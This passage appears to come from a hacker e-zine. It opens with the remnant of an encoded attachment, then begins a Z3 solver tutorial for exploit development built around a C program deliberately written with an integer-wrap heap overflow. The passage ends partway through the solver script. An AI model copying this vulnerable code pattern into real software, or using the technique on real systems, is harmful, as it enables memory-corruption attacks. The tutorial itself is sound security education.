M3`.7=UZB)MH1\13C:&H]PFRT&HL)`>2)YXP]3;2IYOP[\9KZ`3,GBA7J&JX)
|
||
|
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
|
||
|
8LW[6S_I9/^MG_:R?W^_Y'V5<-G8`>```
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|
||
|
|=[ 0x05 ]=---=[ How to cheat at maths - chown ]=------------------------=|
|
||
|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=----------------------=[ How I Cheat at Maths - Z3 101 ]---------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------------------------=[ by chown ]=--------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Introduction
|
||
|
|
||
|
Welcome reader. I am writing this small text because it has recently come
|
||
|
to my attention that a lot of people significantly smarter than me are
|
||
|
intimidated by the mention of Z3 and solvers in general, and avoid using
|
||
|
them. I think it is a common mentality that Z3 requires some kind of maths
|
||
|
degree as a prerequisite for its use, however for me it is the complete
|
||
|
opposite.
|
||
|
|
||
|
Hopefully by the end of this small guide you will see that Z3 can provide a
|
||
|
trivial platform with which you can avoid doing most of the complex math
|
||
|
work which is associated with exploit development and reverse engineering.
|
||
|
|
||
|
--[ What is Z3?
|
||
|
|
||
|
Z3 is an SMT (satisfiability modulo theories) solver written by Microsoft
|
||
|
Research. It is cross platform, (Windows/Linux/Mac OS X) and free (MIT
|
||
|
License).
|
||
|
|
||
|
Internally at Microsoft it is used for program analysis and verification.
|
||
|
|
||
|
Z3 exposes either a C or Python based API, with a rich set of features. In
|
||
|
this paper we will only scratch the surface of the Python API. I feel this
|
||
|
is the simplest way to jump right in and instantly get value from Z3 with
|
||
|
almost no learning curve required. There is a lot of documentation on the
|
||
|
web if you wish to venture deeper into the functionality of Z3.
|
||
|
|
||
|
--[ Installing Z3
|
||
|
|
||
|
Installing Z3 is a simple process, and as i mentioned, can be done on most
|
||
|
operating systems. The source code to Z3 is available from the Z3 Github
|
||
|
page (2).
|
||
|
|
||
|
The build instructions for Mac OS X are simply as follows:
|
||
|
|
||
|
CXX=clang++ CC=clang python scripts/mk_make.py
|
||
|
cd build
|
||
|
make
|
||
|
sudo make install
|
||
|
|
||
|
For Ubuntu it is even simpler:
|
||
|
|
||
|
sudo apt-get install python-z3
|
||
|
|
||
|
Once this is done, the Python module can be used by simply using "import
|
||
|
z3" from within Python.
|
||
|
|
||
|
--[ Introduction to Z3
|
||
|
|
||
|
To whet your appetite, we will first explore a simple maths example
|
||
|
unrelated to exploit development. The following small puzzle was being
|
||
|
passed around social media sites:
|
||
|
|
||
|
A+B = 240
|
||
|
C+D = 500
|
||
|
D-B+C = 455
|
||
|
A+C = 215
|
||
|
What answer for D?
|
||
|
|
||
|
While this can easily be solved with math, it is much easier to make Z3 do
|
||
|
all the work for us.
|
||
|
|
||
|
The first step in our solver is to import z3 and declare some variables for
|
||
|
use in the solver. The following code creates 4 Int() type variables.
|
||
|
A,B,C,D and initiates the solver class.
|
||
|
|
||
|
Note: The string passed to each variable is used to label the results when
|
||
|
the model is printed at the end.
|
||
|
|
||
|
#!/usr/bin/env python
|
||
|
|
||
|
from z3 import *
|
||
|
|
||
|
# Declare our variables
|
||
|
A = Int('A')
|
||
|
B = Int('B')
|
||
|
C = Int('C')
|
||
|
D = Int('D')
|
||
|
|
||
|
s = Solver()
|
||
|
|
||
|
Now that we have our variables declared, we must define some simple
|
||
|
constraints for the solver. Basically we need to take each line in the
|
||
|
above problem and convert it to an expression using our variables.
|
||
|
|
||
|
# Add the constraints
|
||
|
s.add(A + B == 240) # A+B = 240
|
||
|
s.add(C + D == 500) # C+D = 500
|
||
|
s.add(D-B+C == 455) # D-B+C = 455
|
||
|
s.add(A+C == 215) # A+C = 215
|
||
|
|
||
|
The final steps are to use the check() function to solve the problem and
|
||
|
print the model at the end.
|
||
|
|
||
|
print "[+] Solving..."
|
||
|
s.check()
|
||
|
ttt = s.model()
|
||
|
print "[MODEL---------------------------------------]"
|
||
|
print ttt
|
||
|
print "[--------------------------------------------]"
|
||
|
|
||
|
Running this code provides the following output:
|
||
|
|
||
|
$ python facebook.py
|
||
|
[+] Solving...
|
||
|
[MODEL---------------------------------------]
|
||
|
[C = 20, B = 45, D = 480, A = 195]
|
||
|
[--------------------------------------------]
|
||
|
|
||
|
As you can see, it only took a couple of minutes to code a solver for this
|
||
|
problem and we got the answer D=480. Congratulations, if you followed this
|
||
|
far you can now cheat at facebook and impress your friends!!!
|
||
|
|
||
|
I have included the sample code for this (facebook.py) in the appendix.
|
||
|
|
||
|
--[ Z3 and Exploit dev
|
||
|
|
||
|
As I'm sure you can now imagine there are a billion small math problems
|
||
|
like this in exploit development. Some typical examples for me are:
|
||
|
|
||
|
* Solving input values to control allocation/copy sizes.
|
||
|
* Root causing a fuzz crash, one constraint for each cmp instruction, then
|
||
|
control register contents as needed.
|
||
|
* Finding input values which constrain to certain criteria.
|
||
|
* etc.
|
||
|
|
||
|
To make this more clear, I have written a small vulnerable program with
|
||
|
which we can look at the exploitation process and how Z3 can help us.
|
||
|
|
||
|
----[ Vulnerable example
|
||
|
|
||
|
The following example code has a clearly visible integer wrap
|
||
|
vulnerability. We can obviously utilize this to cause a heap overflow into
|
||
|
the chunk pointed to by sstr.
|
||
|
|
||
|
Have a quick read over the code below, and afterwards I will explain the
|
||
|
challenges involved in solving this problem.
|
||
|
|
||
|
1 #include <stdio.h>
|
||
|
2 #include <stdlib.h>
|
||
|
3 #include <string.h>
|
||
|
4
|
||
|
5 #define HEADER "-------------------------------------------[ ASCII
|
||
|
DIAGRAM ]----------------------------------------------------\n"
|
||
|
6 #define HDRLEN strlen(HEADER)
|
||
|
7
|
||
|
8 char *copyandupdate(char *dst,char *src, unsigned int size)
|
||
|
9 {
|
||
|
10 memcpy(dst,src,size);
|
||
|
11 dst += size;
|
||
|
12 return dst;
|
||
|
13 }
|
||
|
14
|
||
|
15 int main(int argc, char *argv[])
|
||
|
16 {
|
||
|
17 unsigned int width,height,i;
|
||
|
18 char *sstr,*fstr;
|
||
|
19
|
||
|
20 if(argc != 3) {
|
||
|
21 printf("usage: %s <width> <height>\n",argv[0]);
|
||
|
22 exit(-1);
|
||
|
23 }
|
||
|
24
|
||
|
25 width = strtoul(argv[1],NULL,0);
|
||
|
26 height = strtoul(argv[2],NULL,0);
|
||
|
27
|
||
|
28
|
||
|
29 printf("[+] Using width: %u\n",width);
|
||
|
30 printf("[+] Using height: %u\n",height);
|
||
|
31
|
||
|
32 if(width < 5) {
|
||
|
33 printf("error: Width too small\n");
|
||
|
34 exit(1);
|
||
|
35 }
|
||
|
36
|
||
|
37 if((width * height + HDRLEN) > 0x3fffffff) {
|
||
|
38 printf("error: Table too large (%u) \n",width *
|
||
|
height);
|
||
|
39 exit(1);
|
||
|
40 }
|
||
|
41
|
||
|
42 printf("[+] Allocating buffer sized: %u\n", width * height
|
||
|
+ HDRLEN);
|
||
|
43 sstr = fstr = malloc(width * height + HDRLEN);
|
||
|
44 if(!fstr) {
|
||
|
45 printf("error: Out of Memory!\n");
|
||
|
46 exit(1);
|
||
|
47 }
|
||
|
48
|
||
|
49 printf("[+] Writing header to buffer (%u bytes)\n",HDRLEN);
|
||
|
50 fstr = copyandupdate(fstr,HEADER,HDRLEN);
|
||
|
51 for(i = 0 ; i < height ; i++ )
|
||
|
52 {
|
||
|
53 char *m = malloc(width);
|
||
|
54 if(!m) {
|
||
|
55 printf("error: Out of Memory!\n");
|
||
|
56 break;
|
||
|
57 }
|
||
|
58 memset(m,'X',width);
|
||
|
59 m[width-3] = '\r';
|
||
|
60 m[width-2] = '\n';
|
||
|
61 m[width-1] = '\x00';
|
||
|
62 fstr = copyandupdate(fstr,m,width-1);
|
||
|
63 free(m);
|
||
|
64 }
|
||
|
65
|
||
|
66 printf(sstr);
|
||
|
67
|
||
|
68 }
|
||
|
69
|
||
|
|
||
|
As I'm sure you saw, this code takes a width and height parameter from the
|
||
|
command line and creates an ascii table containing the appropriate number
|
||
|
of X's.
|
||
|
|
||
|
Here is some sample output from a successful run:
|
||
|
|
||
|
$ ./asciigrid 30 10
|
||
|
[+] Using width: 30
|
||
|
[+] Using height: 10
|
||
|
[+] Allocating buffer sized: 413
|
||
|
[+] Writing header to buffer (113 bytes)
|
||
|
-------------------------------------------[ ASCII DIAGRAM
|
||
|
]----------------------------------------------------
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
|
||
|
The major vulnerability in this source code occurs between lines 37 and
|
||
|
43 in the source. As you can see below, the code takes the width and height
|
||
|
parameters and checks to make sure that the product of width * height plus
|
||
|
the length of the header is < 0x40000000. Next it allocates a buffer based
|
||
|
on these values. However, if width and height is large enough to create an
|
||
|
integer wrap, the resulting buffer allocation will not correlate to the
|
||
|
width and height values themselves, creating potential for a heap overflow.
|
||
|
|
||
|
37 if((width * height + HDRLEN) > 0x3fffffff) {
|
||
|
38 printf("error: Table too large (%u) \n",width *
|
||
|
height);
|
||
|
39 exit(1);
|
||
|
40 }
|
||
|
41
|
||
|
42 printf("[+] Allocating buffer sized: %u\n", width * height
|
||
|
+ HDRLEN);
|
||
|
43 sstr = fstr = malloc(width * height + HDRLEN);
|
||
|
|
||
|
Once this allocation is performed, the program begins by writing the HEADER
|
||
|
field into the buffer. Depending on the size of the buffer this will either
|
||
|
be inside or outside the allocated buffer. Due to the wrapping allocation
|
||
|
size calculation, there is no guarantee at this stage that a large enough
|
||
|
allocation was performed to house the HEADER field.
|
||
|
|
||
|
Finally at line 51, a copy loop is performed. For each of the lines in
|
||
|
height an allocation of "width" bytes is performed. This is then populated
|
||
|
with a line of X's, and copied into the buffer. Obviously if our values are
|
||
|
large enough to wrap, this loop will end up writing all the way out of
|
||
|
bounds of our buffer, but it also has no way to stop copying, therefore it
|
||
|
will write all the way until it hits an unmapped page, causing program
|
||
|
termination.
|
||
|
|
||
|
51 for(i = 0 ; i < height ; i++ )
|
||
|
52 {
|
||
|
53 char *m = malloc(width);
|
||
|
54 if(!m) {
|
||
|
55 printf("error: Out of Memory!\n");
|
||
|
56 break;
|
||
|
57 }
|
||
|
58 memset(m,'X',width);
|
||
|
59 m[width-3] = '\r';
|
||
|
60 m[width-2] = '\n';
|
||
|
61 m[width-1] = '\x00';
|
||
|
62 fstr = copyandupdate(fstr,m,width-1);
|
||
|
63 free(m);
|
||
|
64 }
|
||
|
|
||
|
Luckily for us (;)) there does exist a clean way out of this loop. If the
|
||
|
malloc allocation of width bytes fails, the loop is exited, and the program
|
||
|
continues.
|
||
|
|
||
|
This means, if we can wrap the allocation while having a large enough width
|
||
|
to force the allocation to fail, we are able to perform our overflow
|
||
|
(copying the header out of bounds) without program termination occurring.
|
||
|
(This gives us an opportunity to utilize our overflow). The question is,
|
||
|
what input values will allow all this to happen?
|
||
|
|
||
|
---[ Solving
|
||
|
|
||
|
As you can imagine, the next step in our process is to write a simple
|
||
|
solver to calculate these values for us. Once again the process is very
|
||
|
simple
|
||
|
|
||
|
We begin by importing our library:
|
||
|
|
||
|
1 #!/usr/bin/env python
|
||
|
2
|
||
|
3 from z3 import *
|
||
|
4
|
||
|
|
||
|
Next we need to declare the variables used by our sample program. The first
|
||
|
variables which we need are the width and height variables. In the previous
|
||
|
example we used Int() type variables. However, in this case, we use a
|
||
|
BitVec() type. The main difference between these two types in Z3 is the
|
||
|
ability to perform binary operations on the BitVec. Also we are able to
|
||
|
specify the exact size of the variable, this lets us more easily simulate
|
||
|
integer wraps. In this example I am targeting a 32-bit platform, therefore
|
||
|
I use the size 32 for each variable. We also need a variable to hold the
|
||
|
size of the header, this is not strictly necessary but provides a more
|
||
|
clear output in my opinion.
|
||
|
|
||
|
5 width = BitVec('width', 32)
|
||
|
6 height = BitVec('height', 32)
|
||
|
7 headersize = BitVec('headersize',32)
|
||
|
8
|
||
|
|
||
|
Next, I create a convenience variable allocsize. This is used to hold the
|
||
|
result of the calculation. Instead of this variable we could simple write
|
||
|
width * height + headersize each time, however if we did this, the size of
|
||
|
the allocation would not be visible in the printed model. Since we care
|
||
|
about this size, it makes sense to use a convenience variable.
|
||
|
|
||
|
9 allocsize = BitVec('allocsize',32)
|
||
|
10
|
||
|
